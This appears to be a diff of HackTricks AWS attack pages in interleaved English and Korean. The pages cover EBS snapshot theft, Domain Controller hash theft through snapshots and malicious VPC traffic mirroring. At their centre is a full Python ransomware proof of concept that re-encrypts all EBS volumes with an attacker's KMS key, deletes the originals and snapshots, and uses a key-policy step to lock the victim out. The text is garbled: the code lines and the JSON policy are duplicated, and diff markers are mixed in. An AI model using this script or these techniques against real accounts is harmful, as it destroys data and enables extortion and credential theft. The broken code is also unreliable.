Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
|
||||
이제 사용할 수 있는 공개적으로 접근 가능한 키가 있습니다. 우리는 암호화되지 않은 EBS 볼륨이 연결된 EC2 인스턴스가 몇 개 있는 '희생자' 계정을 사용할 수 있습니다. 이 '희생자' 계정의 EBS 볼륨이 암호화를 목표로 하고 있으며, 이 공격은 고급 권한 AWS 계정의 침해를 가정하고 있습니다.
|
||||
|
||||
 
|
||||
|
||||
Similar to the S3 ransomware example. This attack will create copies of the attached EBS volumes using snapshots, use the publicly available key from the 'attacker' account to encrypt the new EBS volumes, then detach the original EBS volumes from the EC2 instances and delete them, and then finally delete the snapshots used to create the newly encrypted EBS volumes. 
|
||||
S3 랜섬웨어 예제와 유사하게, 이 공격은 스냅샷을 사용하여 연결된 EBS 볼륨의 복사본을 생성하고, '공격자' 계정의 공개적으로 사용 가능한 키를 사용하여 새로운 EBS 볼륨을 암호화한 다음, 원래 EBS 볼륨을 EC2 인스턴스에서 분리하고 삭제하며, 마지막으로 새로 암호화된 EBS 볼륨을 생성하는 데 사용된 스냅샷을 삭제합니다. 
|
||||
|
||||
This results in only encrypted EBS volumes left available in the account.
|
||||
이로 인해 계정에 남아 있는 것은 암호화된 EBS 볼륨뿐입니다.
|
||||
|
||||

|
||||
|
||||
Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now.
|
||||
또한 주목할 점은, 스크립트가 EC2 인스턴스를 중지시켜 원래 EBS 볼륨을 분리하고 삭제했다는 것입니다. 원래의 암호화되지 않은 볼륨은 이제 사라졌습니다.
|
||||
|
||||

|
||||
|
||||
Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy.
|
||||
|
||||
다음으로, '공격자' 계정의 키 정책으로 돌아가 '외부 암호화' 정책 규칙을 키 정책에서 제거합니다.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow access for Key Administrators",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Create*",
|
||||
"kms:Describe*",
|
||||
"kms:Enable*",
|
||||
"kms:List*",
|
||||
"kms:Put*",
|
||||
"kms:Update*",
|
||||
"kms:Revoke*",
|
||||
"kms:Disable*",
|
||||
"kms:Get*",
|
||||
"kms:Delete*",
|
||||
"kms:TagResource",
|
||||
"kms:UntagResource",
|
||||
"kms:ScheduleKeyDeletion",
|
||||
"kms:CancelKeyDeletion"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow use of the key",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Encrypt",
|
||||
"kms:Decrypt",
|
||||
"kms:ReEncrypt*",
|
||||
"kms:GenerateDataKey*",
|
||||
"kms:DescribeKey"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow attachment of persistent resources",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
|
||||
"Resource": "*",
|
||||
"Condition": {
|
||||
"Bool": {
|
||||
"kms:GrantIsForAWSResource": "true"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow access for Key Administrators",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Create*",
|
||||
"kms:Describe*",
|
||||
"kms:Enable*",
|
||||
"kms:List*",
|
||||
"kms:Put*",
|
||||
"kms:Update*",
|
||||
"kms:Revoke*",
|
||||
"kms:Disable*",
|
||||
"kms:Get*",
|
||||
"kms:Delete*",
|
||||
"kms:TagResource",
|
||||
"kms:UntagResource",
|
||||
"kms:ScheduleKeyDeletion",
|
||||
"kms:CancelKeyDeletion"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow use of the key",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Encrypt",
|
||||
"kms:Decrypt",
|
||||
"kms:ReEncrypt*",
|
||||
"kms:GenerateDataKey*",
|
||||
"kms:DescribeKey"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow attachment of persistent resources",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
|
||||
"Resource": "*",
|
||||
"Condition": {
|
||||
"Bool": {
|
||||
"kms:GrantIsForAWSResource": "true"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume.
|
||||
잠시 기다려 새로 설정된 키 정책이 전파되기를 기다리십시오. 그런 다음 '희생자' 계정으로 돌아가 새로 암호화된 EBS 볼륨 중 하나를 연결해 보십시오. 볼륨을 연결할 수 있음을 알게 될 것입니다.
|
||||
|
||||
 
|
||||
|
||||
But when you attempt to actually start the EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it.
|
||||
하지만 암호화된 EBS 볼륨으로 EC2 인스턴스를 실제로 다시 시작하려고 하면 실패하고 '대기 중' 상태에서 '중지됨' 상태로 영원히 돌아갑니다. 이는 연결된 EBS 볼륨이 키 정책이 더 이상 허용하지 않기 때문에 키를 사용하여 복호화할 수 없기 때문입니다.
|
||||
|
||||
 
|
||||
|
||||
This the python script used. It takes AWS creds for a 'victim' account and a publicly available AWS ARN value for the key to be used for encryption. The script will make encrypted copies of ALL available EBS volumes attached to ALL EC2 instances in the targeted AWS account, then stop every EC2 instance, detach the original EBS volumes, delete them, and finally delete all the snapshots utilized during the process. This will leave only encrypted EBS volumes in the targeted 'victim' account. ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. You can recover them using the utilized KMS key and restore them to their original state via snapshots, but just want to make you aware that this is a ransomware PoC at the end of the day.
|
||||
|
||||
이것은 사용된 파이썬 스크립트입니다. '희생자' 계정의 AWS 자격 증명과 암호화에 사용될 키의 공개적으로 사용 가능한 AWS ARN 값을 가져옵니다. 이 스크립트는 대상 AWS 계정의 모든 EC2 인스턴스에 연결된 모든 EBS 볼륨의 암호화된 복사본을 만들고, 모든 EC2 인스턴스를 중지하고, 원래 EBS 볼륨을 분리하고, 삭제한 다음, 프로세스 중에 사용된 모든 스냅샷을 삭제합니다. 이렇게 하면 대상 '희생자' 계정에 암호화된 EBS 볼륨만 남게 됩니다. 이 스크립트는 테스트 환경에서만 사용하십시오. 파괴적이며 모든 원래 EBS 볼륨을 삭제합니다. 사용된 KMS 키를 사용하여 복구하고 스냅샷을 통해 원래 상태로 복원할 수 있지만, 결국 이것이 랜섬웨어 PoC라는 점을 인식하시기 바랍니다.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
from botocore.exceptions import ClientError
|
||||
|
||||
def enumerate_ec2_instances(ec2_client):
|
||||
instances = ec2_client.describe_instances()
|
||||
instance_volumes = {}
|
||||
for reservation in instances['Reservations']:
|
||||
for instance in reservation['Instances']:
|
||||
instance_id = instance['InstanceId']
|
||||
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
|
||||
instance_volumes[instance_id] = volumes
|
||||
return instance_volumes
|
||||
instances = ec2_client.describe_instances()
|
||||
instance_volumes = {}
|
||||
for reservation in instances['Reservations']:
|
||||
for instance in reservation['Instances']:
|
||||
instance_id = instance['InstanceId']
|
||||
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
|
||||
instance_volumes[instance_id] = volumes
|
||||
return instance_volumes
|
||||
|
||||
def snapshot_volumes(ec2_client, volumes):
|
||||
snapshot_ids = []
|
||||
for volume_id in volumes:
|
||||
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
|
||||
snapshot_ids.append(snapshot['SnapshotId'])
|
||||
return snapshot_ids
|
||||
snapshot_ids = []
|
||||
for volume_id in volumes:
|
||||
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
|
||||
snapshot_ids.append(snapshot['SnapshotId'])
|
||||
return snapshot_ids
|
||||
|
||||
def wait_for_snapshots(ec2_client, snapshot_ids):
|
||||
for snapshot_id in snapshot_ids:
|
||||
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
|
||||
for snapshot_id in snapshot_ids:
|
||||
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
|
||||
|
||||
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
|
||||
new_volume_ids = []
|
||||
for snapshot_id in snapshot_ids:
|
||||
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
|
||||
volume_id = snapshot_info['VolumeId']
|
||||
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
|
||||
availability_zone = volume_info['AvailabilityZone']
|
||||
new_volume_ids = []
|
||||
for snapshot_id in snapshot_ids:
|
||||
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
|
||||
volume_id = snapshot_info['VolumeId']
|
||||
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
|
||||
availability_zone = volume_info['AvailabilityZone']
|
||||
|
||||
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
|
||||
Encrypted=True, KmsKeyId=kms_key_arn)
|
||||
new_volume_ids.append(volume['VolumeId'])
|
||||
return new_volume_ids
|
||||
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
|
||||
Encrypted=True, KmsKeyId=kms_key_arn)
|
||||
new_volume_ids.append(volume['VolumeId'])
|
||||
return new_volume_ids
|
||||
|
||||
def stop_instances(ec2_client, instance_ids):
|
||||
for instance_id in instance_ids:
|
||||
try:
|
||||
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
|
||||
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
|
||||
for instance_id in instance_ids:
|
||||
try:
|
||||
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
|
||||
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
|
||||
|
||||
if instance_state == 'running':
|
||||
ec2_client.stop_instances(InstanceIds=[instance_id])
|
||||
print(f"Stopping instance: {instance_id}")
|
||||
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
|
||||
print(f"Instance {instance_id} stopped.")
|
||||
else:
|
||||
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
|
||||
if instance_state == 'running':
|
||||
ec2_client.stop_instances(InstanceIds=[instance_id])
|
||||
print(f"Stopping instance: {instance_id}")
|
||||
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
|
||||
print(f"Instance {instance_id} stopped.")
|
||||
else:
|
||||
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
|
||||
|
||||
except ClientError as e:
|
||||
print(f"Error stopping instance {instance_id}: {e}")
|
||||
except ClientError as e:
|
||||
print(f"Error stopping instance {instance_id}: {e}")
|
||||
|
||||
def detach_and_delete_volumes(ec2_client, volumes):
|
||||
for volume_id in volumes:
|
||||
try:
|
||||
ec2_client.detach_volume(VolumeId=volume_id)
|
||||
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
|
||||
ec2_client.delete_volume(VolumeId=volume_id)
|
||||
print(f"Deleted volume: {volume_id}")
|
||||
except ClientError as e:
|
||||
print(f"Error detaching or deleting volume {volume_id}: {e}")
|
||||
for volume_id in volumes:
|
||||
try:
|
||||
ec2_client.detach_volume(VolumeId=volume_id)
|
||||
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
|
||||
ec2_client.delete_volume(VolumeId=volume_id)
|
||||
print(f"Deleted volume: {volume_id}")
|
||||
except ClientError as e:
|
||||
print(f"Error detaching or deleting volume {volume_id}: {e}")
|
||||
|
||||
|
||||
def delete_snapshots(ec2_client, snapshot_ids):
|
||||
for snapshot_id in snapshot_ids:
|
||||
try:
|
||||
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
|
||||
print(f"Deleted snapshot: {snapshot_id}")
|
||||
except ClientError as e:
|
||||
print(f"Error deleting snapshot {snapshot_id}: {e}")
|
||||
for snapshot_id in snapshot_ids:
|
||||
try:
|
||||
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
|
||||
print(f"Deleted snapshot: {snapshot_id}")
|
||||
except ClientError as e:
|
||||
print(f"Error deleting snapshot {snapshot_id}: {e}")
|
||||
|
||||
def replace_volumes(ec2_client, instance_volumes):
|
||||
instance_ids = list(instance_volumes.keys())
|
||||
stop_instances(ec2_client, instance_ids)
|
||||
instance_ids = list(instance_volumes.keys())
|
||||
stop_instances(ec2_client, instance_ids)
|
||||
|
||||
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
|
||||
detach_and_delete_volumes(ec2_client, all_volumes)
|
||||
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
|
||||
detach_and_delete_volumes(ec2_client, all_volumes)
|
||||
|
||||
def ebs_lock(access_key, secret_key, region, kms_key_arn):
|
||||
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
|
||||
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
|
||||
|
||||
instance_volumes = enumerate_ec2_instances(ec2_client)
|
||||
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
|
||||
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
|
||||
wait_for_snapshots(ec2_client, snapshot_ids)
|
||||
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
|
||||
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
|
||||
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
|
||||
instance_volumes = enumerate_ec2_instances(ec2_client)
|
||||
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
|
||||
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
|
||||
wait_for_snapshots(ec2_client, snapshot_ids)
|
||||
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
|
||||
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
|
||||
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
|
||||
|
||||
def parse_arguments():
|
||||
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
|
||||
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
|
||||
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
|
||||
parser.add_argument('--region', required=True, help='AWS Region')
|
||||
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
|
||||
return parser.parse_args()
|
||||
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
|
||||
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
|
||||
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
|
||||
parser.add_argument('--region', required=True, help='AWS Region')
|
||||
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
|
||||
return parser.parse_args()
|
||||
|
||||
def main():
|
||||
args = parse_arguments()
|
||||
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
|
||||
args = parse_arguments()
|
||||
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
|
||||
|
||||
instance_volumes = enumerate_ec2_instances(ec2_client)
|
||||
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
|
||||
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
|
||||
wait_for_snapshots(ec2_client, snapshot_ids)
|
||||
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
|
||||
replace_volumes(ec2_client, instance_volumes)
|
||||
delete_snapshots(ec2_client, snapshot_ids)
|
||||
instance_volumes = enumerate_ec2_instances(ec2_client)
|
||||
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
|
||||
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
|
||||
wait_for_snapshots(ec2_client, snapshot_ids)
|
||||
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
|
||||
replace_volumes(ec2_client, instance_volumes)
|
||||
delete_snapshots(ec2_client, snapshot_ids)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
main()
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,8 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Checking a snapshot locally
|
||||
|
||||
## 스냅샷을 로컬에서 확인하기
|
||||
```bash
|
||||
# Install dependencies
|
||||
pip install 'dsnap[cli]'
|
||||
@@ -32,10 +31,8 @@ cd dsnap
|
||||
make docker/build
|
||||
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> **Note** that `dsnap` will not allow you to download public snapshots. To circumvent this, you can make a copy of the snapshot in your personal account, and download that:
|
||||
|
||||
> **주의** `dsnap`는 공개 스냅샷을 다운로드할 수 없습니다. 이를 우회하려면 스냅샷을 개인 계정에 복사한 후 해당 스냅샷을 다운로드할 수 있습니다:
|
||||
```bash
|
||||
# Copy the snapshot
|
||||
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
|
||||
@@ -49,59 +46,55 @@ dsnap --region us-east-2 get snap-027da41be451109da
|
||||
# Delete the snapshot after downloading
|
||||
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
|
||||
```
|
||||
이 기술에 대한 자세한 정보는 [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)의 원본 연구를 확인하세요.
|
||||
|
||||
For more info on this technique check the original research in [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)
|
||||
|
||||
You can do this with Pacu using the module [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots)
|
||||
|
||||
## Checking a snapshot in AWS
|
||||
Pacu를 사용하여 [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots) 모듈로 이 작업을 수행할 수 있습니다.
|
||||
|
||||
## AWS에서 스냅샷 확인하기
|
||||
```bash
|
||||
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
|
||||
```
|
||||
**EC2 VM에 마운트하기** (백업 복사본과 동일한 지역에 있어야 함):
|
||||
|
||||
**Mount it in a EC2 VM under your control** (it has to be in the same region as the copy of the backup):
|
||||
1단계: EC2 –> Volumes로 이동하여 원하는 크기와 유형의 새 볼륨을 생성합니다.
|
||||
|
||||
Step 1: A new volume of your preferred size and type is to be created by heading over to EC2 –> Volumes.
|
||||
이 작업을 수행하려면 다음 명령을 따르십시오:
|
||||
|
||||
To be able to perform this action, follow these commands:
|
||||
- EC2 인스턴스에 연결할 EBS 볼륨을 생성합니다.
|
||||
- EBS 볼륨과 인스턴스가 동일한 존에 있는지 확인합니다.
|
||||
|
||||
- Create an EBS volume to attach to the EC2 instance.
|
||||
- Ensure that the EBS volume and the instance are in the same zone.
|
||||
2단계: 생성된 볼륨을 마우스 오른쪽 버튼으로 클릭하여 "attach volume" 옵션을 선택합니다.
|
||||
|
||||
Step 2: The "attach volume" option is to be selected by right-clicking on the created volume.
|
||||
3단계: 인스턴스 텍스트 상자에서 인스턴스를 선택합니다.
|
||||
|
||||
Step 3: The instance from the instance text box is to be selected.
|
||||
이 작업을 수행하려면 다음 명령을 사용하십시오:
|
||||
|
||||
To be able to perform this action, use the following command:
|
||||
- EBS 볼륨을 연결합니다.
|
||||
|
||||
- Attach the EBS volume.
|
||||
4단계: EC2 인스턴스에 로그인하고 `lsblk` 명령을 사용하여 사용 가능한 디스크를 나열합니다.
|
||||
|
||||
Step 4: Login to the EC2 instance and list the available disks using the command `lsblk`.
|
||||
5단계: `sudo file -s /dev/xvdf` 명령을 사용하여 볼륨에 데이터가 있는지 확인합니다.
|
||||
|
||||
Step 5: Check if the volume has any data using the command `sudo file -s /dev/xvdf`.
|
||||
위 명령의 출력이 "/dev/xvdf: data"를 표시하면 볼륨이 비어 있다는 의미입니다.
|
||||
|
||||
If the output of the above command shows "/dev/xvdf: data", it means the volume is empty.
|
||||
6단계: `sudo mkfs -t ext4 /dev/xvdf` 명령을 사용하여 볼륨을 ext4 파일 시스템으로 포맷합니다. 또는 `sudo mkfs -t xfs /dev/xvdf` 명령을 사용하여 xfs 형식을 사용할 수도 있습니다. ext4 또는 xfs 중 하나를 사용해야 합니다.
|
||||
|
||||
Step 6: Format the volume to the ext4 filesystem using the command `sudo mkfs -t ext4 /dev/xvdf`. Alternatively, you can also use the xfs format by using the command `sudo mkfs -t xfs /dev/xvdf`. Please note that you should use either ext4 or xfs.
|
||||
7단계: 새 ext4 볼륨을 마운트할 디렉토리를 생성합니다. 예를 들어 "newvolume"이라는 이름을 사용할 수 있습니다.
|
||||
|
||||
Step 7: Create a directory of your choice to mount the new ext4 volume. For example, you can use the name "newvolume".
|
||||
이 작업을 수행하려면 `sudo mkdir /newvolume` 명령을 사용하십시오.
|
||||
|
||||
To be able to perform this action, use the command `sudo mkdir /newvolume`.
|
||||
8단계: `sudo mount /dev/xvdf /newvolume/` 명령을 사용하여 볼륨을 "newvolume" 디렉토리에 마운트합니다.
|
||||
|
||||
Step 8: Mount the volume to the "newvolume" directory using the command `sudo mount /dev/xvdf /newvolume/`.
|
||||
9단계: "newvolume" 디렉토리로 이동하고 디스크 공간을 확인하여 볼륨 마운트를 검증합니다.
|
||||
|
||||
Step 9: Change directory to the "newvolume" directory and check the disk space to validate the volume mount.
|
||||
이 작업을 수행하려면 다음 명령을 사용하십시오:
|
||||
|
||||
To be able to perform this action, use the following commands:
|
||||
- `/newvolume`로 디렉토리를 변경합니다.
|
||||
- `df -h .` 명령을 사용하여 디스크 공간을 확인합니다. 이 명령의 출력은 "newvolume" 디렉토리의 여유 공간을 보여야 합니다.
|
||||
|
||||
- Change directory to `/newvolume`.
|
||||
- Check the disk space using the command `df -h .`. The output of this command should show the free space in the "newvolume" directory.
|
||||
|
||||
You can do this with Pacu using the module `ebs__explore_snapshots`.
|
||||
|
||||
## Checking a snapshot in AWS (using cli)
|
||||
Pacu를 사용하여 `ebs__explore_snapshots` 모듈로 이 작업을 수행할 수 있습니다.
|
||||
|
||||
## AWS에서 스냅샷 확인하기 (cli 사용)
|
||||
```bash
|
||||
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
|
||||
|
||||
@@ -127,19 +120,14 @@ sudo mount /dev/xvdh1 /mnt
|
||||
|
||||
ls /mnt
|
||||
```
|
||||
|
||||
## Shadow Copy
|
||||
|
||||
Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project.
|
||||
**`EC2:CreateSnapshot`** 권한을 가진 AWS 사용자는 **도메인 컨트롤러의 스냅샷을 생성**하여 이를 자신이 제어하는 인스턴스에 마운트하고 **NTDS.dit 및 SYSTEM** 레지스트리 하이브 파일을 Impacket의 secretsdump 프로젝트에 사용할 수 있도록 내보내어 모든 도메인 사용자 해시를 훔칠 수 있습니다.
|
||||
|
||||
You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot.
|
||||
이 도구를 사용하여 공격을 자동화할 수 있습니다: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) 또는 스냅샷을 생성한 후 이전 기술 중 하나를 사용할 수 있습니다.
|
||||
|
||||
## References
|
||||
|
||||
- [https://devopscube.com/mount-ebs-volume-ec2-instance/](https://devopscube.com/mount-ebs-volume-ec2-instance/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,16 +4,12 @@
|
||||
|
||||
**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!**
|
||||
|
||||
Passive network inspection in a cloud environment has been **challenging**, requiring major configuration changes to monitor network traffic. However, a new feature called “**VPC Traffic Mirroring**” has been introduced by AWS to simplify this process. With VPC Traffic Mirroring, network traffic within VPCs can be **duplicated** without installing any software on the instances themselves. This duplicated traffic can be sent to a network intrusion detection system (IDS) for **analysis**.
|
||||
클라우드 환경에서의 수동 네트워크 검사는 **어려운** 작업으로, 네트워크 트래픽을 모니터링하기 위해 주요 구성 변경이 필요합니다. 그러나 AWS는 이 과정을 간소화하기 위해 “**VPC 트래픽 미러링**”이라는 새로운 기능을 도입했습니다. VPC 트래픽 미러링을 사용하면 VPC 내의 네트워크 트래픽을 **복제**할 수 있으며, 인스턴스 자체에 소프트웨어를 설치할 필요가 없습니다. 이 복제된 트래픽은 **분석**을 위해 네트워크 침입 탐지 시스템(IDS)으로 전송될 수 있습니다.
|
||||
|
||||
To address the need for **automated deployment** of the necessary infrastructure for mirroring and exfiltrating VPC traffic, we have developed a proof-of-concept script called “**malmirror**”. This script can be used with **compromised AWS credentials** to set up mirroring for all supported EC2 instances in a target VPC. It is important to note that VPC Traffic Mirroring is only supported by EC2 instances powered by the AWS Nitro system, and the VPC mirror target must be within the same VPC as the mirrored hosts.
|
||||
VPC 트래픽을 미러링하고 유출하기 위한 필요한 인프라의 **자동 배포** 필요성을 해결하기 위해 “**malmirror**”라는 개념 증명 스크립트를 개발했습니다. 이 스크립트는 **손상된 AWS 자격 증명**을 사용하여 대상 VPC의 모든 지원되는 EC2 인스턴스에 대한 미러링을 설정하는 데 사용할 수 있습니다. VPC 트래픽 미러링은 AWS Nitro 시스템으로 구동되는 EC2 인스턴스에서만 지원되며, VPC 미러 타겟은 미러링된 호스트와 동일한 VPC 내에 있어야 한다는 점에 유의해야 합니다.
|
||||
|
||||
The **impact** of malicious VPC traffic mirroring can be significant, as it allows attackers to access **sensitive information** transmitted within VPCs. The **likelihood** of such malicious mirroring is high, considering the presence of **cleartext traffic** flowing through VPCs. Many companies use cleartext protocols within their internal networks for **performance reasons**, assuming traditional man-in-the-middle attacks are not possible.
|
||||
악의적인 VPC 트래픽 미러링의 **영향**은 상당할 수 있으며, 이는 공격자가 VPC 내에서 전송되는 **민감한 정보**에 접근할 수 있게 합니다. **명확한 텍스트 트래픽**이 VPC를 통해 흐르고 있는 점을 고려할 때, 이러한 악의적인 미러링의 **가능성**은 높습니다. 많은 기업들이 **성능 이유**로 내부 네트워크에서 명확한 텍스트 프로토콜을 사용하며, 전통적인 중간자 공격이 불가능하다고 가정합니다.
|
||||
|
||||
For more information and access to the [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), it can be found on our **GitHub repository**. The script automates and streamlines the process, making it **quick, simple, and repeatable** for offensive research purposes.
|
||||
